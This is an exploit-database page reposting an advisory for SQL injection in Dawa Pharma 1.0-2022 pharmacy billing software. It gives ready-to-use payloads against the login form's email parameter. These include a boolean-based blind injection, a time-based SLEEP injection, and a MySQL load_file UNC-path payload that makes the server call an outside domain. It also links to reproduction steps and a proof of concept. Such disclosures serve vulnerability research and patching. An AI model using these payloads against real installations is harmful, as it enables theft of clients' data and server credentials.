Advertisement






Dawa Pharma 1.0-2022 SQL Injection

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023100035

Below is a copy:

Dawa Pharma 1.0-2022 SQL Injection
## Title: dawa-pharma-1.0-2022 Multiple-SQLi
## Author: nu11secur1ty
## Date: 10/12/2023
## Vendor: https://www.mayurik.com/
## Software: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download
## Reference: https://portswigger.net/web-security/sql-injection


## Description:
The email parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+'
was submitted in the email parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed. The attacker can get all the information for the clients
of this application from the server, and very sensitive information
for accessing the server by exploiting the vulnerability.


STATUS: HIGH-CRITICAL Vulnerability

[+]Payload:
```MySQL
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: email=-8698' OR 5305=5305-- vvuH&password=mayurik&login=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]'+(select
load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+''
AND (SELECT 4515 FROM (SELECT(SLEEP(15)))KUth)--
VRdC&password=mayurik&login=
---
```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/dawa-pharma-1.0-2022)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/10/dawa-pharma-10-2022-multiple-sqli.html)

## Time spent:
00:37:00


Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.